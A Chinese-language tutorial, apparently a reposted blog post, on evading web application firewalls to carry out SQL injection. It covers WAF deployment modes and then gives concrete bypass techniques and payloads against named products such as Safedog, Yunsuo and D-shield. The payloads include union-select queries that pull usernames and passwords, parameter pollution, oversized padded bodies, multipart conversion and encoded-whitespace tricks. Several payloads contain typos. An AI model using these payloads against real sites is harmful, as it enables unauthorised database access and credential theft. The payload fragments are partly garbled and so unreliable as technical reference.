1. 程式人生 > 實用技巧 >sql各種姿勢繞waf

sql各種姿勢繞waf

sql語句waf繞過

什麼是waf

waf是專門針對Web應用的防火牆,屬於細分領域的針對性防火牆

攻擊特點:

攻擊二象性:已知攻擊與未知攻擊

攻擊維度:形式與漏洞

waf核心原理:

運用黑、白思想

特徵匹配、漏洞簽名

對匹配結果進行響應(攔截、記錄)

waf主流產品形態

雲WAF

1.阿里雲盾

2.騰訊網站管家

3.創宇盾

4.CloudFlare等

軟體產品類

安全狗

雲鎖

360主機衛士

ModSecurity等

硬體裝置類

啟明星辰

綠盟

天融信

飛塔等

waf的部署模式

# 基於DNS解析 

修改DNS,讓域名解析到反向代理伺服器,所有流量經過反向代理進行檢測,檢測無問題之後再轉發給後端的Web伺服器

使用者端瀏覽器->DNS解析->xx雲WAF->WEB伺服器

# 串聯模式

反向代理模式、透明代理模式。反向代理模式會改變原有網路拓撲,真實客戶端IP會以http header傳至後端WEB server 。透明代理模式可以在不改變原有網路拓撲結構的情況下直接部署

反向代理:提前配置好域名和目的伺服器轉發規則 在站點和規則較多的情況下 轉發規則等配置較複雜

透明代理模式:監控tcp連線 在使用者無感知的情況下代理會話 基於橋模式進行轉發。從web客戶端的角度來看,web客戶端仍是直接訪問伺服器。特點是:對網路的改動最小,可以實現零配置部署

# 旁路模式

利用流量映象技術,將業務流量分流給WAF產品,這種部署模式的優點是不會影響業務的穩定性所以waf會投入更多的效能在檢出率上面 缺點 不借助其他手段無法對檢測出的行為進行阻斷 流量只進不出

特點:在waf出故障的情況下 不影響業務的連續性,需要聯動其他裝置來下發阻斷策略 

# 軟體嵌入中介軟體+檢測引擎模式

在使用Ngainx作為反向代理的業務下,WAF提供Ngainx模組嵌入原有Nginx,將請求轉發給檢測引擎,可以做到在不改動原有網路拓撲的情況下完成檢測任務

waf繞過原理

安全與業務效能不可兼得

WAF為了考慮通用性的問題 ,無法覆蓋100%某些語言、中介軟體、資料庫的特性

硬體waf自身往往存在漏洞

waf繞過角度

架構 :基於DNS解析

規則缺陷/特性:類似正則匹配 資料庫特性 中介軟體特性

協議:HTTP0.9版本 TCP長連線

架構層面

尋找真實伺服器IP

雲WAF是通過修改DNS解析來隱藏了真實ip

查詢域名歷史解析記錄

利用郵件傳送功能中的源地址

域名歷史解析<https://community.riskiq.com/search>

利用畸形資料包繞過(硬體waf)

超長資料包(資源大小限制)

畸形協議,如HTTP不同的請求方法汙染、多個同樣的頭部

這種情況主要是讓硬體WAF產生硬體BYPASS,流量直接轉發給後端伺服器

利用waf的SSl 缺陷

WAF對某些SSL演算法的不支援

如 YLSv1 256 bits ECDHE-RSA-AES256-SHA

旁路模式中有效

規則缺陷/特性

特殊的百分號

環境:僅在IIS+ASP

UNICODE編碼

IIS支援Unicode編碼字元的解析,對於select中的字元進行unicode編碼,可以得到如下的s%u006c%u0006tct 這種字元在IIS接收到後被轉換為select,但是對於WAF層 可能接收到的內容還是s%u006c%u0006tct 這樣就會形成bypass的可能

字元                            Unicode編碼

a                	%u0000  %u0041 %u0061 %u00aa %u00e2

'			%u0027  %u02b9  %u02bc  %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7

HPP(HTTP引數汙染)

當查詢字串多次出現同一個key時 根據容器不同會得到不同的結果

例如GET提交:id=123&id=456

|

​    iis+aps/asp.net

​               |

id=123,456

payload:id=-1 union+select+username,password/*&id=*/from+admin+limit 1

id=-1 union+select+username,password/*&id=*/from+admin+limit 1->waf規則匹配不上->IIS+ASP/ASPX(WEB伺服器)->id=-1 union+select+username,password/*&id=*/from+admin+limit 1 ->資料庫->select id,contents from news where id=-1 union select usename,password from admin limit 1

APS/IIS part1=val1,val2

PHP/APACHE par1=val2

jsp,servlet/apache tomocat par1=val1

畸形method

某些WAF在處理資料的時候嚴格按照GET、POST等標準HTTP方法來獲取資料,或者採用正則匹配的方式來處理資料,可能因為WAF和WEB服務解析的前後不對等繞過WAF

存在環境:Apache 2.x

某些apache版本在做GET請求的時候,無論method為何值均會取出GET的內容

把GET替換成任意字母

引數數量限制

WAF在實際環境中為防止拒絕服務式攻擊 預設最多解析前100個請求引數,更多的引數將直接忽略

存在環境:Nginx+Lua WAF

變換請求方式

假如php裡使用$_REQUEST獲取引數,那麼php獲取引數的預設優先順序是 $_COOKIE>$_POST>$_GET 此時WAF層只過濾get/post 但沒有過濾cookie 於是導致了繞過

存在環境:PHP

urlencode和form-data轉換

POST在提交資料的時候有兩種方式,第一種方式是使用urlencode的方式提交,第二種方式是使用form-data的方式提交.使用form-data的方式去提交可以繞過某些WAF,如第一節課中的例項就利用到了該方法.

D盾BYPASS MSSQL資料庫注入

MSSQL特性

select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin 

位置1

可利用其他控制字元替換空格:%01~%F、%11~%1F

可利用註釋符號:/**/

可利用數字運算以及資料型別 news_id=1.1,news_id=1e0,news_id=1-1

位置2

可利用其他控制字元替換空格:%01~%0F、%11~%1F

可利用註釋符號:/**/

可利用冒號:union:select

位置3

可利用其他控制字元替換空格:%01~%0F、%11~%1F

可利用註釋符號:/**/

可利用其他符號:+、-、~、:、.

位置4

可利用其他控制字元替換空格:%01~%0F、%11~%1F

可利用註釋符號:/**/

可利用其他字元:%80~%FF

位置5

可利用其他控制字元替換空格:%01~%0F、%11~%1F

可利用註釋符號:/**/

可利用冒號:union:select

可利用其他字元::、.、%80~%FF

D盾不攔截COOKIE  變換請求


繞過安全狗

所謂的BYPASS WAF實際上是去尋找位於WAF裝置之後處理應用層資料包的硬體/軟體的特性。利用特性構造WAF不能命中,但是在應用程式能夠執行的payload 繞過防護

環境:安全狗Apache最新版+apache2.4+Windows

靶場:DVWA

1.超長資料包BYPASS

GET型請求轉POST型

Content-Length長度大於4008

正常引數放置在髒資料後面,否則無效

2.空格替換BYPASS

拒絕傳統的%20 使用%09 %0a %0b %08....

GET型請求轉POST型

payload=1'--%0d%0aunion--%d%0aselect+null.concat_ws(char(32,58,32),user,password)--+%0afrom--+%0ausers+#

3.協議轉換BYPASS

使用表單請求中的multipart/form-data

關鍵詞換行

payload:轉換Content-Type:multipart/form-data;boundary=-----xxxxxx

------xxxx

Content-Disposition:name="id"

1' union

select

null,

concat_ws(char(32,58,32),user,password)

 from users#

繞過雲鎖WAF

雲鎖WAF特性

WAF資源限制角度

假如HTTP請求POST BODY太大,檢測所有的內容,WAF叢集消耗太大的CPU、記憶體資源。因此許多WAF只檢測前面2M或4M的內容,對於攻擊者而言 只需要在POST BODY前面新增許多無用資料,把攻擊PAYLOAD放在最後即可繞過WAF檢測

Urlencode特性

HTML5 URL編碼

BYPASS雲鎖 MYSQL資料庫注入

MYSQL特性

select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin 

位置1

可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用註釋符號:/** /、#test%0d%0a、--+a

可利用數學運算以及資料型別:news_id=1.1,news_id=1E0,news_id=\N

位置2

可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用註釋符號:/** /、#test%0d%0a、--+a

可利用括號:union(select 1,2)

位置3

可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用註釋符號:/** /、#test%0d%0a、--+a

可利用其他符號:+、-、~、!、@

位置4

可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用註釋符號:/** /、#test%0d%0a、--+a

可利用數學運算以及資料型別:

union select user(),2.0 from admin

union select user(),8e0from admin

union select user(),\Nfrom admin

位置5

可利用其他控制字元替換空格:%09,%0a,%0b,%0c,%od,%20,%a0

可利用註釋符號:/** /、#test%0d%0a、--+a

`號 : unoion select 1 schema_name from `information_schema`.SCHEMATA limit 0,1)

內聯註釋:union select

1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/limit 0,1)

{號: id=1 union select 1,(select(schema_name)from{x information_schema.SCHEMATA}limit 0,1)

(號 id=1  union select 1,(select(schema_name)from(information_schema.SCHEMATA)limit 0,1)

資源限制長度繞雲鎖 通殺!